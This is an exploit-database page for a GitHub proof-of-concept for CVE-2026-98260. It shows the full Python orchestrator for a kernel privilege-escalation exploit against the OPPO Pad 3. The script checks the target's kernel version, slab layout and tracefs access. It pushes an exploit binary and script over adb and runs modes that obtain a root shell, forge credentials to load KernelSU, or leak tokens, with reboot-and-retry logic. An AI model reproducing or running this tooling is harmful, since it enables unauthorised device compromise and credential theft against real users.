Exploit database

GH-43e4506e69b181e1b91635fd066796d0

yunxi422/cve-2026-98260-opd2405

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

60 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10
yunxi422/cve-2026-98260-opd2405Revision fb37bbebe335

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve98260.py

Python · 15,810 bytes
#!/usr/bin/env python3
"""CVE-2026-98260 host-side orchestrator (OPPO Pad 3 / OPD2405).

Pushes timer + cve98260.sh to the device, runs one of the research modes and
streams the result back.  Device selection supports --serial, an arrow-key
picker when several devices are attached, and a numbered fallback when stdin
is not a TTY.

    python cve98260.py --list
    python cve98260.py probe
    python cve98260.py ids
    python cve98260.py leak --seconds 8
"""
import argparse
import io
import os
import re
import shutil
import subprocess
import sys
import time
from pathlib import Path

REMOTE_DIR = "/data/local/tmp"
REMOTE_TIMER = REMOTE_DIR + "/timer"
REMOTE_SCRIPT = REMOTE_DIR + "/cve98260.sh"


# --------------------------------------------------------------- adb plumbing

def adb_candidates(explicit=None):
    out = []
    if explicit:
        out.append(explicit)
    if os.environ.get("ADB"):
        out.append(os.environ["ADB"])
    which = shutil.which("adb")
    if which:
        out.append(which)
    for root in (os.environ.get("ANDROID_HOME"), os.environ.get("ANDROID_SDK_ROOT")):
        if root:
            out.append(os.path.join(root, "platform-tools", "adb"))
            out.append(os.path.join(root, "platform-tools", "adb.exe"))
    local = os.environ.get("LOCALAPPDATA")
    if local:
        out.append(os.path.join(local, "Android", "Sdk", "platform-tools", "adb.exe"))
    seen, res = set(), []
    for c in out:
        if not c or not Path(c).exists():
            continue
        k = c.lower()
        if k in seen:
            continue
        seen.add(k)
        res.append(c)
    return res


def run(cmd, timeout=60):
    try:
        p = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                           timeout=timeout, text=True, encoding="utf-8",
                           errors="replace")
        return p.returncode, p.stdout or "", p.stderr or ""
    except subprocess.TimeoutExpired:
        return 124, "", "timeout"
    except FileNotFoundError:
        return 127, "", "not found"


def list_devices(adb):
    rc, out, err = run([adb, "devices", "-l"], 30)
    if rc != 0:
        raise RuntimeError(err.strip() or "adb devices failed")
    devs = []
    for line in out.splitlines()[1:]:
        line = line.strip()
        if not line:
            continue
        parts = line.split()
        devs.append((parts[0], parts[1] if len(parts) > 1 else "unknown", line))
    return devs


# ------------------------------------------------------------ device picker

def _enable_ansi():
    if os.name != "nt":
        return True
    try:
        import ctypes
        k = ctypes.windll.kernel32
        h = k.GetStdHandle(-11)
        mode = ctypes.c_uint32()
        if not k.GetConsoleMode(h, ctypes.byref(mode)):
            return False
        return bool(k.SetConsoleMode(h, mode.value | 0x0004))
    except Exception:
        return False


def _read_key():
    if os.name == "nt":
        import msvcrt
        ch = msvcrt.getwch()
        if ch in ("\r", "\n"):
            return "enter"
        if ch in ("q", "\x1b"):
            return "quit"
        if ch in ("\x00", "\xe0"):
            return {"H": "up", "P": "down"}.get(msvcrt.getwch())
        return {"k": "up", "j": "down"}.get(ch)
    import termios
    import tty
    fd = sys.stdin.fileno()
    old = termios.tcgetattr(fd)
    try:
        tty.setraw(fd)
        ch = sys.stdin.read(1)
        if ch in ("\r", "\n"):
            return "enter"
        if ch == "q":
            return "quit"
        if ch in ("k", "j"):
            return "up" if ch == "k" else "down"
        if ch == "\x1b":
            return {"[A": "up", "[B": "down"}.get(sys.stdin.read(2))
        return None
    finally:
        termios.tcsetattr(fd, termios.TCSADRAIN, old)


def pick_device(usable):
    entries = [f"{s:24s} {st:8s} {line}" for _, s, st, line in usable]
    if not sys.stdin.isatty() or not _enable_ansi():
        print("multiple devices:", file=sys.stderr)
        for i, e in enumerate(entries, 1):
            print(f"  [{i}] {e}", file=sys.stderr)
        try:
            choice = input("select > ").strip()
        except (EOFError, KeyboardInterrupt):
            return None
        try:
            idx = int(choice) - 1
        except ValueError:
            return None
        return usable[idx] if 0 <= idx < len(usable) else None

    n, idx = len(entries), 0
    print("multiple devices  (↑/↓ 选择, Enter 确认, q 退出)", file=sys.stderr)
    for _ in entries:
        print(file=sys.stderr)

    def render():
        sys.stderr.write("\x1b[%dA" % n)
        for i, e in enumerate(entries):
            sys.stderr.write("\x1b[2K" + (" > " if i == idx else "   ") + e + "\n")
        sys.stderr.flush()

    render()
    while True:
        key = _read_key()
        if key == "up":
            idx = (idx - 1) % n
        elif key == "down":
            idx = (idx + 1) % n
        elif key == "enter":
            sys.stderr.write("\n")
            return usable[idx]
        elif key == "quit":
            sys.stderr.write("\n")
            return None
        render()


# ------------------------------------------------------------------ device

class Device:
    def __init__(self, adb, serial):
        self.adb, self.serial = adb, serial

    def sh(self, cmd, timeout=120):
        rc, out, err = run([self.adb, "-s", self.serial, "shell", cmd], timeout)
        return rc, out.replace("\r\r\n", "\n").replace("\r\n", "\n"), err

    def push(self, local, remote, timeout=180):
        return run([self.adb, "-s", self.serial, "push", str(local), remote], timeout)

    def props(self):
        _, out, _ = self.sh("getprop")
        d = {}
        for line in out.splitlines():
            m = re.match(r"^\[(.*?)\]: \[(.*)\]$", line)
            if m:
                d[m.group(1)] = m.group(2)
        return d


# -------------------------------------------------------------- preflight

def preflight(dev):
    props = dev.props()
    _, kernel, _ = dev.sh("uname -r")
    _, arch, _ = dev.sh("uname -m")
    _, uid, _ = dev.sh("id -u")
    _, slab, _ = dev.sh("grep -E '^(cred_jar|task_struct|posix_timers_cache) ' /proc/slabinfo 2>/dev/null")
    _, trace, _ = dev.sh("test -w /sys/kernel/tracing/tracing_on && "
                         "test -w /sys/kernel/tracing/events/kmem/rss_stat/trigger "
                         "&& echo OK || echo DENIED")

    sizes = {}
    for line in slab.splitlines():
        p = line.split()
        if len(p) >= 4:
            sizes[p[0]] = p[3]

    rows = [
        ("model", props.get("ro.product.model", "?")),
        ("device", props.get("ro.product.device", "?")),
        ("android", props.get("ro.build.version.release", "?")),
        ("kernel", kernel.strip() or "?"),
        ("arch", arch.strip() or "?"),
        ("uid", uid.strip() or "?"),
        ("slab", " ".join(f"{k}={sizes.get(k, '?')}" for k in
                          ("cred_jar", "task_struct", "posix_timers_cache"))),
        ("tracefs", "OK" if "OK" in trace else "DENIED"),
    ]
    print("preflight")
    w = max(len(k) for k, _ in rows)
    for k, v in rows:
        print(f"  {k.ljust(w)} : {v}")

    errs = []
    if arch.strip() != "aarch64":
        errs.append(f"unsupported arch: {arch.strip()}")
    if not re.search(r"^6\.1\.157-android14-11", kernel.strip()):
        errs.append(f"kernel {kernel.strip()} is not 6.1.157-android14-11*")
    if sizes and (sizes.get("cred_jar") != "192" or sizes.get("task_struct") != "4800"):
        errs.append("slab layout does not match (want 192/4800/264)")
    if "OK" not in trace:
        errs.append("tracefs is not writable by this uid")
    return errs


# ------------------------------------------------------------------- retry

CLEAN_PATHS = (REMOTE_TIMER, REMOTE_SCRIPT,
               REMOTE_DIR + "/ksu_stage.sh",
               REMOTE_DIR + "/cve98260.log",
               REMOTE_DIR + "/cve98260.run.log")


def cleanup(dev):
    """Remove what this tool pushed. The running exploit keeps its inode."""
    print("[*] removing pushed files from " + REMOTE_DIR)
    dev.sh("rm -f " + " ".join(CLEAN_PATHS), 30)

SUCCESS_MARKERS = {
    "root": "ROOT_SHELL_OK",
    "fake": "KSU_LOADED",
    "ids": "pairs=",
    "leak": "token",
}


def device_dirty(dev):
    """A parked exploit or a live module means the next run cannot be clean."""
    _, out, _ = dev.sh("pidof timer >/dev/null 2>&1 && echo PARKED; "
                       "grep -q '^kernelsu ' /proc/modules && echo MODULE")
    return "PARKED" in out or "MODULE" in out


def reboot_and_wait(adb, serial, timeout=240):
    print("[*] rebooting the device")
    run([adb, "-s", serial, "reboot"], 60)
    time.sleep(5)
    deadline = time.time() + timeout
    while time.time() < deadline:
        rc, out, _ = run([adb, "-s", serial, "shell", "getprop sys.boot_completed"], 20)
        if rc == 0 and out.strip() == "1":
            time.sleep(5)
            print("[*] device is back")
            return True
        time.sleep(3)
    return False


def run_once(adb, serial, cmd, timeout, marker):
    """Stream one attempt. Returns (rc, success, parked).

    `fake` always ends parked once KSU_LOADED lands (the forged cred page is
    deliberately not reaped), so success and parked are separate signals.
    """
    proc = subprocess.Popen([adb, "-s", serial, "shell", cmd],
                            stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                            text=True, encoding="utf-8", errors="replace")
    success = False
    parked = False
    deadline = time.time() + timeout
    try:
        for line in iter(proc.stdout.readline, ""):
            sys.stdout.write(line)
            sys.stdout.flush()
            if marker and marker in line:
                success = True
            low = line.lower()
            if ("parking without reap" in low or "holding zombie" in low
                    or "parked" in low):
                parked = True
                if success:
                    print("[+] root is live; parked state is expected "
                          "(reboot when you are done)")
                else:
                    print("[!] exploit parked (race lost)")
                break
            if time.time() > deadline:
                print("[!] client timeout")
                break
    finally:
        try:
            proc.wait(timeout=5)
        except subprocess.TimeoutExpired:
            proc.terminate()
    return proc.returncode, success, parked


# ------------------------------------------------------------------- main

def main():
    here = Path(__file__).resolve().parent
    parser = argparse.ArgumentParser(
        description="CVE-2026-98260 orchestrator (root / ids / leak / fake / probe)")
    parser.add_argument("mode", nargs="?", default="root",
                        choices=["root", "ids", "leak", "fake", "probe"])
    parser.add_argument("--seconds", type=int, default=6,
                        help="leak window in seconds (default 6)")
    parser.add_argument("--adb")
    parser.add_argument("--serial")
    parser.add_argument("--timer", default=str(here / "timer"))
    parser.add_argument("--script", default=str(here / "cve98260.sh"))
    parser.add_argument("--list", action="store_true")
    parser.add_argument("--dry-run", action="store_true")
    parser.add_argument("--timeout", type=int, default=1800)
    parser.add_argument("--retry", type=int, default=1,
                        help="full attempts before giving up (default 1)")
    parser.add_argument("--reboot-on-fail", action="store_true",
                        help="reboot and retry when a race is lost")
    parser.add_argument("--clean", action="store_true",
                        help="remove the pushed files when the run finishes")
    args = parser.parse_args()

    cands = adb_candidates(args.adb)
    if not cands:
        print("adb not found; pass --adb", file=sys.stderr)
        return 2

    inventory = []
    for cand in cands:
        try:
            for serial, state, line in list_devices(cand):
                inventory.append((cand, serial, state, line))
        except RuntimeError:
            continue

    if args.list:
        for cand, serial, state, line in inventory:
            print(f"  {cand}  {state:12s} {serial}  {line}")
        if not inventory:
            print("no devices")
        return 0

    dedup = {}
    for item in inventory:
        _, serial, state, _ = item
        if serial not in dedup or (state == "device" and dedup[serial][2] != "device"):
            dedup[serial] = item
    inventory = list(dedup.values())

    if not inventory:
        print("no devices; enable USB debugging and authorize this host", file=sys.stderr)
        return 2

    if args.serial:
        m = [i for i in inventory if i[1] == args.serial]
        if not m:
            print(f"serial {args.serial} not found", file=sys.stderr)
            return 2
        adb, serial, state, _ = m[0]
        if state != "device":
            print(f"device {serial} is {state}", file=sys.stderr)
            return 2
    else:
        usable = [i for i in inventory if i[2] == "device"]
        if len(usable) == 1:
            adb, serial, state, _ = usable[0]
        elif not usable:
            print("no usable device", file=sys.stderr)
            return 2
        else:
            picked = pick_device(usable)
            if picked is None:
                print("no device selected", file=sys.stderr)
                return 2
            adb, serial, state, _ = picked

    dev = Device(adb, serial)
    print(f"adb    : {adb}")
    print(f"device : {serial}")

    errs = preflight(dev)
    if errs:
        for e in errs:
            print(f"  error: {e}", file=sys.stderr)
        if args.mode != "probe":
            return 3

    if args.dry_run:
        print("dry run: nothing pushed")
        return 0

    for local, remote in ((args.timer, REMOTE_TIMER), (args.script, REMOTE_SCRIPT)):
        if not Path(local).exists():
            print(f"missing {local}", file=sys.stderr)
            return 2
        rc, out, err = dev.push(local, remote)
        if rc != 0:
            print(f"push failed: {err or out}", file=sys.stderr)
            return 4
    dev.sh(f"chmod 755 {REMOTE_TIMER} {REMOTE_SCRIPT}")

    cmd = f"sh {REMOTE_SCRIPT} {args.mode}"
    if args.mode == "leak":
        cmd += f" {args.seconds}"

    marker = SUCCESS_MARKERS.get(args.mode)
    attempts = max(1, args.retry)

    if args.reboot_on_fail and device_dirty(dev):
        print("[*] device still holds a parked exploit; rebooting first")
        reboot_and_wait(adb, serial)

    result = 1
    try:
        for attempt in range(1, attempts + 1):
            if attempts > 1:
                print(f"=== attempt {attempt}/{attempts} ===")
            print(f"run    : {cmd}")
            rc, success, parked = run_once(adb, serial, cmd, args.timeout, marker)
            if success:
                result = 0
                break
            if attempt == attempts:
                result = 3 if parked else (0 if rc == 0 else 1)
                break
            if not args.reboot_on_fail:
                print("[!] attempt failed; rerun manually or pass --reboot-on-fail")
                result = 3 if parked else 1
                break
            print("[!] attempt failed; rebooting and retrying")
            if args.clean:
                cleanup(dev)
            if not reboot_and_wait(adb, serial):
                print("[!] device did not come back", file=sys.stderr)
                result = 5
                break
    finally:
        if args.clean:
            cleanup(dev)
    return result


if __name__ == "__main__":
    sys.exit(main())